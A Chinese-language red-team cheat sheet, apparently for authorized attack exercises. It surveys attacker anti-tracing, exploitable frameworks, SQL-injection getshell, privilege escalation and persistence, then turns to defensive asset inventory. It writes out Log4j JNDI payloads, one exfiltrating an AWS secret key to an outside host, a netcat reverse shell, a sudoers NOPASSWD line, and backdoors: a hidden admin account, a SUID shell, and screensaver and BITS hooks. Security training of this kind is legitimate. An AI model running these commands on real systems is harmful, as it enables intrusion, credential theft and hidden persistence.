政府部门类企业由于归集化管理方法,尤其是企业网站基本上全部都是站群软件方法,由省市区的网络信息中心承担统建,统一化聚集布署在云数据中心服务平台上,各企业仅仅有着后台管理的应用管理权限。因此针对政府部门类靶点我们一般把资产区划为:

•云数据中心代管类(通常为企业网站)

•已有计算机房类资产(通常为0A、电子邮箱、财务管理系统等里面协同办公系统及其VPN)

•外界代管资产(通常为微信小程序或是微信公众号)。

蜜罐

蜜罐可以理解为安全攻防中的陷阱,通过在信息系统中的各个环境或者网络中部署一些特定协议服务或者组件来诱导恶意行为对其进行探测或利用,从而达到发现恶意攻击、横向移动、内网失陷事件的目的。常见的蜜罐类型一般会包括以下几种:

低交互式蜜罐

通常是指与操作系统交互程度较低的蜜罐系统,仅开放一些简单的服务或端口,用来检测扫描和连接,这种容易被识别。

中交互式蜜罐

介于低交互式和高交互式之间,能够模拟操作系统更多的服务,让攻击者看起来更像一个真实的业务,从而对它发动攻击,这样蜜罐就能获取到更多有价值的信息。

高交互式

指的是与操作系统交互很高的蜜罐,它会提供一个更真实的环境,这样更容易吸引入侵者,有利于掌握新的攻击手法和类型,但同样也会存在隐患,会对真实网络造成攻击

常见场景

攻击队员通过社交工具传递目标可疑URL时,如果误点击通过系统默认的浏览器打开,则可能会被JSONP蜜罐捕获社交账号或者被抓到真实出口IP

蜜罐简单识别

•网站是否存在大量请求其他域资源;

•网站是否对于各大社交网站发送请求;

•网站是否存在大量请求资源报错,克隆其他站时没有修改完成;

•存在⾮常多漏洞的站点,拿到shell后处于docker等虚拟环境,开放⼤量⾼危端⼝的;

•获取到PC机器后,PC机器⽤户⻓时间划⽔摸⻥;

从目标获取的文件需要在沙箱或断网虚拟机运行,避免被反制

反溯源

作为应对,攻击方必须使用纯净的专用渗透环境进行攻击,完全与日常工作环境区分开来,并做测试环境的定期还原。

•VPN、匿名代理

•纯净的渗透环境、虚拟机

•匿名邮箱、手机号、VPS等

•纯净的移动设备、无线设备等

反jsonp蜜罐插件

判断当前网站域和jsonp接口的域是否是同一个,是的话就预警并阻断。

https://github.com/iiiusky/AntiHoneypot-Chrome-simple

https://github.com/cnrstar/anti-honeypot

弱口令

系统的弱口令是常见的入口点之一,不论是web还是如VPN、堡垒机、边界路由器防火墙一类,以及结合特定公司场景、业务场景生成的弱口令的情况。

可能存在未授权访问类的服务

•远程维护类服务(SSH、Tenlent、RDP 等);

•数据库服务(MySQL、MSSQL、Oracle 、ES、MongoDB 等);

•缓存类服务(Redis、Kafka);

•大数据相关服务;

•云环境各类接口、Docker 环境各类接口;

•各种Web 应用系统、手机程序、小程序等。

高危组件

•struct2 (s2系列rce)

•thinkphp系列(tp2x,3x,5x的代码执行等)

•shiro,fastjson组件反序列化

•Jekins(未授权访问,命令执行等)

•weblogic(CVE-2020-2551,CVE-2019-2729等)

•Jboss(反序列化CVE-2015-7501,CVE-2017-7504,CVE-2017-12149)

•各类开源cms的漏洞(如wordpress,drupal,discuz,joomla, 帝国cms,织梦cms等)

•常见编辑器的历史漏洞(如ueditor编辑器解析漏洞,各种越权和后台地址泄露等)

•常见OA漏洞(用友,泛微,致远,金蝶等)

•各种网关防火墙nday,redis未授权,mongodb未授权等

Shiro

Shiro反序列化

shiro反序列化RCE是在实战中一个比较高频且舒适的漏洞,shiro框架在java web登录认证中广泛应用,每一次目标较多的情况下几乎都可以遇见shiro,而因其payload本身就是加密的,无攻击特征,所以几乎不会被waf检测和拦截。

shiro框架特征

•在请求包cookie中带有rememberMe=1字段

•在返回包的Set-Cookie中存在rememberMe=deleteMe字段

Shiro550

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
那么,Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。

Shiro721

由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。

Shiro主要漏洞方向:

•Shiro 反序列化RCE

•Shiro 身份验证绕过

实战中可能遇到的问题:

获得key&回显&内存shell

Shiro组件检测

https://github.com/pmiaowu/BurpShiroPassiveScan

•Fofa/hunter/quake

•指纹识别工具

利用:

https://github.com/SummerSec/ShiroAttack2

https://github.com/wyzxxz/shiro_rce_tool

https://github.com/j1anFen/shiro_attack

https://github.com/feihong-cs/ShiroExploit-Deprecated

Shiro 身份验证绕过

利用shiro解析uri和spring解析uri之间存在差异来绕过身份验证。

URL中加/;/

•目标访问地址:/xxx/hello/aaaa

•发起请求地址:/;/xxx/hello/aaaa

如果能够知道后台各种接口的URL,拼接即可绕过身份认证,未授权访问

Fastjson

FastJson是alibaba的一款开源JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转换为等效的Java对象。

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。

在Java 8u102环境下,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,可以使用com.sun.rowset.JdbcRowSetImpl的利用链,借助JNDI注入来执行命令。

探测:

用来探测目标版本,才能更好确定使用的payload。还可以用来区分fastjson和Jackjson。fastjson探测版本,还可以用错误格式的json发过去。如果对方异常未处理可报出详细版本。

  • {“@type”:“java.net.URL”,“val”:“http://dnslog”}

  • {“@type”:“java.net.InetAddress”,“val”:“dnslog”}

  • {“@type”:“java.net.Inet4Address”,“val”:“dnslog”}

利用:

https://github.com/pmiaowu/BurpFastJsonScan

https://github.com/wyzxxz/fastjson_rce_tool

https://github.com/feihong-cs/JNDIExploit

Springboot

Spring Boot框架,作用很简单,就是帮我们自动配置,其设计目的是用来简化新Spring应用的初始搭建以及开发过程。

Actuator是Spring Boot提供的服务监控和管理工具。当Spring Boot应用程序运行时,它会自动将多个端点注册到路由进程中。而由于对这些端点的错误配置,就有可能导致一些敏感信息泄露。

配置不当而暴露的路由

主要是因为程序员开发时没有意识到暴露路由可能会造成安全风险,或者没有按照标准流程开发,忘记上线时需要修改/切换生产环境的配置:

https://docs.spring.io/spring-boot/docs/1.5.10.RELEASE/reference/htmlsingle/#production-ready-endpoints

https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt

探测:

目录扫描工具+springboot字典

利用:

https://github.com/0x727/SpringBootExploit

/env、/actuator/envGET

请求/env会直接泄露环境变量、内网地址、配置中的用户名等信息;当程序员的属性名命名不规范,例如password 写成psasword、pwd时,会泄露密码明文;同时有一定概率可以通过POST 请求/env接口设置一些属性,间接触发相关RCE 漏洞;同时有概率获得星号遮掩的密码、密钥等重要隐私信息的明文。

/refresh、/actuator/refreshPOST

请求/env接口设置属性后,可同时配合POST 请求/refresh接口刷新属性变量来触发相关RCE 漏洞。

/restart、/actuator/restart

暴露出此接口的情况较少;可以配合POST请求/env接口设置属性后,再POST 请求/restart接口重启应用来触发相关RCE 漏洞。

/jolokia、/actuator/jolokia

可以通过/jolokia/list接口寻找可以利用的MBean,间接触发相关RCE 漏洞、获得星号遮掩的重要隐私信息的明文等。

/trace、/actuator/httptrace

一些http 请求包访问跟踪信息,有可能在其中发现内网应用系统的一些请求信息详情;以及有效用户或管理员的cookie、jwttoken 等信息。

thinkphp

ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache 2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。

Thinkphp5 rce分两个大版本

•ThinkPHP5.0-5.0.24

•ThinkPHP5.1.0-5.1.30

方法主要分为两种:

•Request中的filter变量覆盖导致RCE分开启debug和不开启debug 两种情况

•路由控制不严谨导致的RCE

利用

https://github.com/Lotus6/ThinkphpGUI

https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection

https://github.com/bewhale/thinkphp_gui_tools

Log4j2

CVE-2021-44228(lookup JNDI 注入漏洞)

Apache Log4j是一个基于Java的日志记录组件。Apache Log4j2是Log4j的升级版本,通过重写Log4j引入了丰富的功能特性。该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息。

其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。

Apache Log4j的默认配置支持JNDI(Java命名和目录接口)查询,可以执行由LDAP、RMI和DNS等远程服务提供的任意代码。

•受影响的版本:从2.0-beta9到2.12.1和2.13.0到2.14.1的所有版本

攻击者利用Log4J2 JNDI的机制,精心构造了一个特殊的请求,当Java应用程序将攻击者输入的数据,记入日志时(一般我们开发过程中,会使用Log4J记录重要的日志),Log4J发现需要向JNDI发起请求,而攻击者将输入的数据指向自己构造的攻击服务器上的LDAP服务,这个服务在返回数据中植入了恶意代码(可执行脚本),服务端收到LDAP的响应数据并去执行,导致被攻击。

此次Apache Log4j2 漏洞触发条件为只要外部用户输入的数据会被日志记录,即可造成远程代码执行。

关键字绕过

  • ${jndi:dns://aeutbj.example.com/ext}

  • {jndi:{lower:l}lower:da{lower:d}a{lower:p}://example.com/

  • {jndi:ldap://{env:AWS_SECRET_ACCESS_KEY}.mydogsbutt.com}

  • iiop://这个协议老外发现但是未证实可用

转换大小写绕过

${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://somesitehackerofhell.com/z}

${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}

OA系统

泛微(Weaver-Ecology-OA)

•致远(Seeyon)

•蓝凌OA

•通达OA(TongDaOA)

•红帆OA

•金和OA

•金蝶OA

•信呼OA

快速定位

•官网链接

•测绘引擎

•指纹识别

利用工具

https://github.com/xinyu2428/TDOA_RCE

https://github.com/Yang0615777/PocList

https://github.com/z1un/weaver_exp

https://github.com/haibara3839/LandrayExploit

https://github.com/asdasdqkq1/yonyou-nc-exp

以通达OA为例,常用到的小技巧:

•http[s]://TongDaOA.domain/inc/expired.php判断通达版本

•http[s]://TongDaOA.domain/inc/reg_trial.php

•http[s]://TongDaOA.domain/inc/reg_trial_submit.php

•http[s]://TongDaOA.domain/resque/worker.php计算机名

HW中常用到的漏洞:

•通达OA版本<v11.5&11.7任意用户登陆漏洞

•11.7后台SQL注入漏洞

•文件包含&文件上传Getshell(慎用)

•redis+SSRF组合拳后台getshell

•文件上传.user.ini后台getshell(v11.8可用)

注入

通过注入可以拓展很多思路,因为数据库基本上都实现了读写文件的操作,执行命令也可以通过拓展或者系统自带的存储过程来实现。限制我们的更多的是权限的问题.

•哪里会经常出现注入

•bypass waf

•如何快速定位重要数据表

•大数据表脱数据(慎重)

•注入读写文件

•执行命令

•站库分离情况

高校类的站点有很多Asp和PHP的网站,在登录、注册、查询功能处存在SQL注入漏洞可能性较大

bypass waf

关键在于需要清楚他拦截的是你payload的哪一部分

https://github.com/aleenzz/MYSQL_SQL_BYPASS_WIKI

https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI

快速定位重要数据表

sqlmap有一个参数叫做–search,可以用来搜索列、表或数据库名称。

•–search -D:搜索某个数据库

•–search -T:搜索某个表名

•–search -C:搜索某个字段名

通过搜索形如username、password的字段即可快速定位重要数据表。

Mysql的getshell方法

•SELECT…INTO OUTFILE

•general_log

•slow_query_log

•phpMyAdmin

Mssql的getshell方法

•xp_cmdshell拿shell

•差异备份拿shell

•log备份拿shell

敏感信息泄露

敏感信息包括但不限于:口令、密钥、证书、会话标识、License、隐私数据、授权凭据、个人数据等、程序文件、配置文件、日志文件、备份文件等

•robots.txt

•.git敏感文件

•物理路径泄露

•报错页面敏感信息泄漏

•备份文件泄露

•目录浏览

•其他

提权相关

Linux提权

通过命令执行漏洞获取的一个反弹shell或是通过Web漏洞获取了一个Webshell后,一般情况下权限都较低。

在执行一些重要敏感的操作或是对重要的文件进行修改时无法正常进行,便需要进行提权。

Linux中安装的数据库、中间件等一般都不是以root用户启动的,通过数据库或是中间件获取到的权限是是低权限的

image-20220610160837732

pkexec提权

漏洞简介

polkit是一个授权管理器,其系统架构由授权和身份验证代理组成,pkexec是其中polkit的其中一个工具,他的作用有点类似于sudo,允许用户以另一个用户身份执行命令。

polkit的pkexec程序中存在一个本地权限提升漏洞。当前版本的pkexec无法正确处理调用参数计数,并最终尝试将环境变量作为命令执行。攻击者可以通过控制环境变量来利用这一点,从而诱导pkexec执行任意代码。利用成功后,会导致本地特权升级,非特权用户获得管理员权限。

•影响范围:目前主流Linux版本均受影响

内核漏洞提权

脏牛漏洞

脏牛漏洞(CVE-2016-5195)是一个影响2007年-2016年长达9年发行的Linux系统的提权漏洞,恶意用户可以利用条件竞争获取ROOT权限。

将exp上传到服务器,使用gcc -pthread dirty.c -o dirty -lcrypt命令对dirty.c进行编译,生成一个dirty的可执行文件。执行./dirty 新建用户密码命令,即可进行提权

SUID提权

SUID是一种特殊权限,可以让调用者在执行过程中暂时获得该文件拥有者的权限。如果可以找到并运行root用户所拥有的SUID的文件,那么就可以在运行该文件的时候获得root用户权限。

在Linux中查找可以用来提权的SUID文件

•find / -perm -u=s -type f 2>/dev/null

•find / -user root -perm -4000-print2>/dev/null

•find / -user root -perm -4000-exec ls -ldb{} ;

常见suid提权文件

nmap、vim、find、more、less、bash、cp、Nano、

mv、awk、man、weget

利用find文件提权

find比较常用,find用来在系统中查找文件。同时,它也有执行命令的能力。因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。

可用作Linux提权的命令及其姿势:

•Find findpentestlab-exec whoami;

•Vim vim.tiny/etc/shadow

•awk awk ‘BEGIN{system(“whoami”)}’

•curl curl file:///etc/shadow

•Bash bash -p

•Less less /etc/passwd

•Nmap nmap–interactive

Sudo提权

普通用户在使用sudo执行命令的过程中,会以root方式执行命令。在很多场景里,管理员为了运维管理方便,sudoer配置文件错误导致提权。

设置sudo免密码:

•vi /etc/sudoers

在最后一行添加:

•bypass ALL=(ALL:ALL) NOPASSWD:ALL

•sudo–l

显示用户已允许以root用户身份执行

所有此二进制文件而无需密码。

计划任务

系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出。

•ls -l /etc/cron*

默认这些程序是以root权限执行,如果有任意用户可写的脚本,我们就可以修改脚本等回连rootshell了。

提权:

•#查看定时任务

•cat /etc/crontab

#查看/etc/cron.daily/backup权限

•ls -l /etc/cron.daily/backup

#查看内容

•cat /etc/cron.daily/backup

#这个定时任务的执行权限是root,将用户家目录下的文件备份到/etc/backups/下,使用通配符*

反弹shell

payload生成

•msfvenom-p cmd/unix/reverse_netcatlhost=127.0.0.1 lport=8888 -R raw

将payload写入shell.sh,并赋予执行权限

•echo “mkfifo/tmp/jvenbd; nc127.0.0.1 8888 0</tmp/jvenbd| /bin/sh>/tmp/jvenbd2>&1; rm /tmp/jvenbd” > shell.sh && chmod+x shell.sh

再创建两个文件:–checkpoint-action=exec=shshell.sh 和–checkpoint=1

•echo > “–checkpoint-action=exec=shshell.sh

•echo > “–checkpoint=1”

–checkpoint-action选项:用于指定到达检查点时将要执行的程序,这将允许我们运行一个任意的命令。

因此,选项–checkpoint=1 和–checkpoint-action=exec=shshell.sh作为命令行选项交给了tar程序

•nc-lvvp8888开启本地监听,等待定时任务的反弹连接

配置错误引发提权

手动找如果对Linux系统不熟悉的话基本是找不到的,所以可以利用工具去查找

http://pentestmonkey.net/tools/audit/unix-privesc-check

https://www.securitysift.com/download/linuxprivchecker.py

第三方服务提权

NFS提权

NFS:Network File System即网络文件系统,它允许网络中的计算机之间通过TCP/IP网络共享资源。在NFS的应用中,本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件,就像访问本地文件一样。2049端口,对应nfs服务.

当服务器中存在NFS共享,且开启了no_root_squash选项时,这时如果客户端使用的是root用户,那么对于共享目录来说,该客户端就有root权限,可以使用它来提升权限。

Windows提权

windows在日常的渗透中经常遇到,而在内网之前,经常会在所拿到的跳板机进行提权,这样后面横向,内网才能更好的展开(抓hash,必须得系统或管理员权限)。

Windows常用的提权方法有:

•系统内核溢出漏洞提权

•数据库提权

•错误的系统配置提权

•组策略首选项提权

•窃取令牌提权

•bypassuac提权

•第三方软件/服务提权

image-20220610161532483

系统权限划分

在Windows系统中,权限大概分为四种,分别是

•User:普通用户权限

•Administrator:管理员权限,可以利用Windows机制提升为System权限

•System:系统权限

•TrustedInstaller:Windows中最高权限。有些文件,连System权限也无法修改,只能TrustedInstaller权限修改。

安全描述符

当一个对象呗创建时,系统将为其分配安全描述符,安全描述符包含了该对象的属主对该对象所配置的一些安全属性和策略。

安全描述符由4部分组成:

•SID(表示该对象所有用的SID)

•DACL(表示该对象的访问控制策略)

•SACL(表示该对象的访问行为的审计策略)

•Flag(其他标志信息)

SID:Secure Identifier(安全标识符),每个用户和账户组都有一个唯一的SID,他是用户、用户组和计算机账户的唯一标识符

windows token

•Windows安全模型中,有两个角色,一个是访问者(进程),一个是被访问者(资源)

•所谓的资源可以是文件,目录,注册表,管道,命名句柄,进程线程

•每个资源都有一个安全描述符,安全描述符当中包含了ACL(ACE)(访问控制列表)

•访问控制列表中每条规则(ACE)都对应记录着一个SID被允许和拒绝的操作(读、写、执行)

•访问者为了访问某一个资源,显然也需要一个身份的认证

Windows Access Token(访问令牌)

他是一个描述进程或者线程安全上下文的一个对象。不同的用户登录计算机后,都会生成一个Access Token,这个Token在用户创建进程或者线程时会被使用,不断的拷贝,这就解释了A用户创建一个进程而该进程没有B用户的权限。当用户注释后,系统将会使主令牌切换为模拟令牌,不会将令牌清除,只会在重启机器后才会清除。

Access Token分为两种(主令牌、模拟令牌)

•授权令牌(Delegation token):交互式会话登陆(例:本地用户登陆、用户桌面等…)

•模拟令牌(lmpersonationtoken):非交互式登陆(例:net user、访问共享文件)

用户双击运行一个程序都会拷贝“explorer.exe”的Access Token

用户注销后系统将会使主令牌切换到模拟令牌,不会将令牌清除,只会在重启机器后才会清除

令牌窃取

默认情况下,我们列举令牌,只能列举出当前用户和比当前用户权限更低用户的令牌。令牌的数量取决于当前shell的访问级别,如果当前的shell是administrator或者是system,我们就可以看到系统中的所有的令牌。

MSF中内置了令牌窃取工具incognito,我们直接使用:

•use incognito (进入incognito模块)

•list_tokens-u (列出令牌)

•impersonate_token"NT AUTHORITY\SYSTEM“

调用windows api进行窃取token

https://github.com/Aquilao/GoTokenTheft

对于令牌窃取很多人可能会存在着一些误解,这不属于一种提权方法,当前系统中的某个进程或线程能访问到什么样的系统资源,完全取决于你当前进程是拿着谁的令牌。

Potato家族提权

烂土豆原名RottenPotato,国人做了优化为JuicyPotato。

原理就是NLTM中继。通过DCOM call来使服务向攻击者监听的端口发起连接并进行NTLM认证,这个服务如BITS。该方法利用的是SMB->SMB NTLM中继。

欺骗“NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。

土豆提权的利用条件

•需要支持SeImpersonate或者SeAssignPrimaryToken权限(通常情况下IIS、MSSQL 具有这两个权限)

•开启DCOM

•本地支持RPC 或者远程服务器支持RPC 并能成功登录

•能够找到可用的COM 对象

各版本的土豆提权工具(利用方法)

•RottenPotato

•JuicyPotato(RottenPotatoNG加强版)

•SweetPotato

•BadPotato

•MultiPotato

若要利用此漏洞,攻击者首先必须登录系统。然后,攻击者可以运行一个为利用此漏洞而经特殊设计的应用程序,从而控制受影响的系统。

内核漏洞提权

利用系统本身存在的一些系统内核溢出漏洞,但未曾打相应的补丁,攻击者通过对比systeminfo信息中的补丁信息来查找缺失的补丁号,通过缺失补丁号对照相应的系统版本查找对应可以提权提升的exp

注意,只要对应的补丁号加上对应的系统的版本的提权exp才可以成功,有时候如果查找到提权exp提权不成功,那么就可以查看是不是系统版本没对应上,且不排除一些提权漏洞利用需要相应的环境。

手工查找补丁情况

•systeminfo

•Wmic qfeget Caption,Description,HotFixID,InstalledOn

MSF后渗透扫描

•post/windows/gather/enum_patches

•post/multi/recon/local_exploit_suggester

windows exploit suggester

https://github.com/AonCyberLabs/Windows-Exploit-Suggester

powershell中的sherlock脚本

•Import-Module C:\Sherlock.ps1 #下载ps1脚本,导入模块

组策略首选项提权

利用手法:

#Powershell获取cpassword

•Get-GPPPassword.ps1

#PowerSploit 的Get-GPPPassword模块检索通过组策略首选项推送的帐户的明文密码和其他信息。

kali gpp-decrypt命令破解密码

#Msf

•run post/windows/gather/credentials/gpp

#Empire

•usemoduleprivesc/gpp

DLL劫持提权

Windows程序启动的时候需要DLL。如果这些DLL不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:

•1.应用程序加载的目录

•2.C:\Windows\System32

•3.C:\Windows\System

•4.C:\Windows

•5.当前工作目录Current Working Directory,CWD

•6.在PATH环境变量的目录(先系统后用户)

过程:

信息收集-进程调试-制作dll并上传-替换dll-启动应用后成功

dll劫持提权需要特定软件应用的控制权限及启用配合,复杂鸡肋,AlwaysInstallElevated提权默认禁用配置,利用成功机会很少

bypassUAC提权

用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为”恶意软件”)损坏系统的效果。

主要用于隔离administrator和user的权限

当前用户是管理员权限,但是有些exe会弹出用户账户控制,如果点击否的话,就会出现拒绝访问,那么也就没有成功运行该程序了。这样就会影响后续的内网渗透,例如取密码等,所以我们需要bypassuac。

目前公开的bypass uac的方法

•白名单提权机制;如:Wusa.exe Bypass UAC,infDefault.exe Bypass UAC,cmstp,exe

•Bypass UAC

•COM接口

•计划任务

•DLL劫持

•windows 自身提权漏洞

UACME 目前已经支持了72 种ByPassUAC的方法。

•UACME 项目地址:https://github.com/hfiref0x/UACME.git

权限维持

Linux权限维持

SUID Shell

SUID Shell是一种可用于以拥有者权限运行的shell。

以root 用户权限执行下面的命令。

•cp /bin/bash /tmp/shell

•chmodu+s/tmp/shell #给程序的所有者suid权限,可以像root用户那样启动

在使用普通用户权限的时候,执行以下命令就能获取root 权限。

•/tmp/shell -p

软链接

软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),然而su在pam_rootok只检测uid0 即可认证成功,这样就导致了可以使用任意密码登录:

•ln -sf /usr/sbin/sshd/tmp/su

•/tmp/su-oPort=888

•sshroot@127.0.0.1 -p 888

公钥免密登陆

ssh-keygen -t rsa//生成公钥

•echo id_rsa.pub >> .ssh/authorized_keys//将id_rsa.pub内容放到目标.ssh/authorized_keys里

生常谈的公钥免登陆,这种用法不只是用在留后门,还可以在一些特殊情况下获取一个交互的shell,如struts写入公钥,oracle写入公钥连接,Redis未授权访问等情景。

Corn后门

在Linux系统中,计划任务一般是由cron承担,我们可以把cron设置为开机时自动启动。cron启动后,它会读取它的所有配置文件(全局性配置文件/etc/crontab,以及每个用户的计划任务配置文件),然后cron会根据命令和执行时间来按时来调用工作任务。

•cron表达式在线生成:http://qqe2.com/cron

•(crontab -l;echo’*/1 * * * * /bin/bash /tmp/1.elf;/bin/bash --noprofile-i’)|crontab –

Windows权限维持

隐藏账号

这个是比较常见的创建后门的方法,直接建立一个隐藏账号

•net user test$ 123456 /add

•net localgroupadministrators test$ /add

计划任务

Windows实现定时任务主要有schtasks与at二种方式:

At 适用于windows xp/2003,Schtasks适用于win7/2008或者以后

例如每小时执行一次calc.exe

•schtasks/create /tnupdater /tr calc.exe /schourly /mo1

schtasks是windows下计划任务的命令,可以设置在指定时间执行指定程序或脚本。

权限要求:提权不提权都可。

优点:不同于自启注册键和服务项,计划任务的设定方式更多样、灵活,位置也相对较为隐蔽(手工排查要多点几下)。

msf权限维持模块-persistence
注册表键

注册表作为Windows的核心数据库,存储着系统和用户的很多关键信息。

Windows在注册表中提供了两套独立的路径,

•一个是当前用户的“HKEY_CURRENT_USER”即“HKCU”,

•另一个就是针对当前用户物理状态的“HKEY_LOCAL_MACHINE”即“HKLM”,仅有特权账户可以对其进行修改。

权限要求:提权不提权都可

Winlogon

winlogon.exe是windows中非常重要的进程,在用户还没登录系统之前就已经存在,并与密码验证相关的重要任务精密相关。例如,当在用户登录时,Winlogon进程负责将用户配置文件加载到注册表中:

•HKLM\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon\

•HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\

屏幕保护程序

利用前提:对方开启了屏幕保护

屏幕保护程序,当初的设计是为了防止长期屏幕的显示,预防老化与缩短屏幕显示器老化的一种保护程序。

在对方开启屏幕保护的情况下,我们可以修改屏保程序为我们的恶意程序从而达到后门持久化的目的,攻击者可以利用屏幕保护程序来隐藏shell,达到一定的权限维持。

权限要求:普通用户

注册表位置:

•HKEY_CURRENT_USER\Control Panel\Desktop

直接写入注册表即可:

•reg add “hkcu\control panel\desktop” /v SCRNSAVE.EXE /d C:\Users\hunter\Desktop\beacon.exe /f

•reg add “hkcu\control panel\desktop” /v ScreenSaveActive/d 1 /f

•reg add “hkcu\control panel\desktop” /v ScreenSaverIsSecure/d 0 /f

•reg add “hkcu\control panel\desktop” /v ScreenSaveTimeOut/d 60 /f

启动项后门

开始菜单启动项,指示启动文件夹的位置,具体的位置是“开始”菜单中的“所有程序”-“启动”选项:

•C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

自启动后门

在Windows上还有一个重要的机制,也就是服务。服务程序通常默默的运行在后台,且拥有SYSTEM 权限,非常适合用于后门持久化。我们可以将EXE /DLL等可执行文件注册为服务实现后门持久化。

可以通过如下命令行方式添加一个服务

•sccreate “SD” binpath= “C:\Users\SD\Desktop\test.exe”

•scdescription “SD” “description” 设置服务的描述字符串

•scconfig “SD” start= auto 设置这个服务为自动启动

•net start “SD” 启动服务

•scdelete “SD”

WMI构造无文件后门

WMI是一项Windows管理技术,其全称是Windows Management Instrumentation,即Windows管理规范。大多数基于Windows的软件依赖于此服务。无文件无进程使得他非常隐蔽成为后门,但由于他的隐蔽性现在被大多数杀软所查杀。

通过与Powershell命令配合使用可以实现无文件,具有良好的隐蔽性也是目前较为常用的持久化手段。

权限要求:未降权的管理员权限。

后台智能传输服务(BITS)

后台智能传送服务(BITS) 可帮助传输大量数据而不会降低网络性能。它通过在小区块中传输数据、充分利用可用的但未使用的带宽和在目的地重组数据的方式来实现此操作。在Microsoft® Windows Server 2003 家族操作系统上和Microsoft® Windows 2000 上都支持BITS。

权限要求:管理员权限(不必过UAC)。

•bitsadmin/list /allusers/verbose

添加任务:

•bitsadmin/create evil

•bitsadmin/addfileevil “C:\Users\hunter\Desktop\beacon.exe” “C:\Users\hunter\Desktop\beacon.exe”

•bitsadmin.exe /SetNotifyCmdLineevil “C:\Users\hunter\Desktop\beacon.exe” NUL

•bitsadmin/Resume evil

MSDTC

msdtc.exe是微软分布式传输协调bai程序。该du进程调用系统Microsoft Personal Web Server和Microsoft SQL Server。该服务用于管理多个服务器。

该服务启动后会尝试从System32加载三个DLL文件:oci.dll、SQLLib80.dll、xa80.dll

在默认的Windows安装中,System32文件夹中缺少oci.dll这个文件,在获得写权限的情况下可以在该文件夹下写入一个同名的dll,服务启动时执行恶意代码。

默认情况下,由于启动类型设置为“手动”,通过以下命令设置自启:

•scqc msdtc

•scconfig msdtcstart= auto

恶意dll会被加载到msdtc.exe进程中执行

hvv前期工作

资产梳理

资产梳理的目的

• 主机漏洞、弱口令、Web应用漏洞、基线配置的目标

• 排查“三无七边〞资产

• 排查开放端口服务,作为关闭非必要端口及加强端口访问策略的依据

• 梳理重点资产,作为有限防护资源分配重点参考

  • 确保检查无遗漏

  • 处理无主资产

  • 标记重点防护资产

  • 为后续防护决策等提供部分基础信息

资产梳理要做的工作

首先做资产的分类

• 内网/互联网资产

• 接口清单

• 服务器

• 网络设备

• 安全设备等

然后做条目的细分

• 收集明确归属的系统资产信息:系统归属、责任人归属

• 发现未明确(末知)资产,并明确其归属

• 梳理资产对应的开放端口/服务,并明确其用途

• 梳理与攻击目标相连接口/资产

• 梳理存在用户数据的资产

• 梳理防护资源等

具体看资产表的信息构成
类型

• 内网、互联网资产、接口清单、服务器、网络设备、安全设备,根据需要可选择不同角度资产表

确定目标网络接入环境

• 归属域、归属系统、IP(主备及浮动地址标记)、类型(服务器、路由交换设备、安全设备等),功能(应用服务器、数据库服务器、华为路由器、防火墙、IDS等)、操作系统、安装应用软件及版本、Web URL、可访问位置(内网、互联网)

扫描时间、地点和人员

• 开放端口/服务、可访问位置及授权(是否访问限制、是否VPN、是否堡垒机、是否双因素认证)、覆盖的防护手段、是否存放用户数据、是否与集团/地市分公司互联、覆盖的防护手段(ACL、IPS、WAF、ADS等)

资产梳理的流程

1.现有资产表收集

  • 向管理员收集原始资产表

  • 安全管理平台录入的资产信息作为补充

  • SOC平台输出(通过导出如SOC平台等安全管理平台中的资产信息)

2.信息补充

  • 在此网段资产存活探测

  • 资产开放端口服务探测

  • 监控设备/平台目标补充

  • 站点探测补充

3.完善信息

  • 确认发现的未知资产归属

  • 调研完善其他信息(可访问位置及授权、防护手段及口互联情況等〕

4.输出资产表

漏洞扫描

1.计划准备

沟通

技术原理沟通

• 沟通扫描原理

• 确定扫描方式

• 确定扫描类型(按系统扫漏洞、

按网段探测主机存活、全端口扫描确认服务)

风险的提示和告知

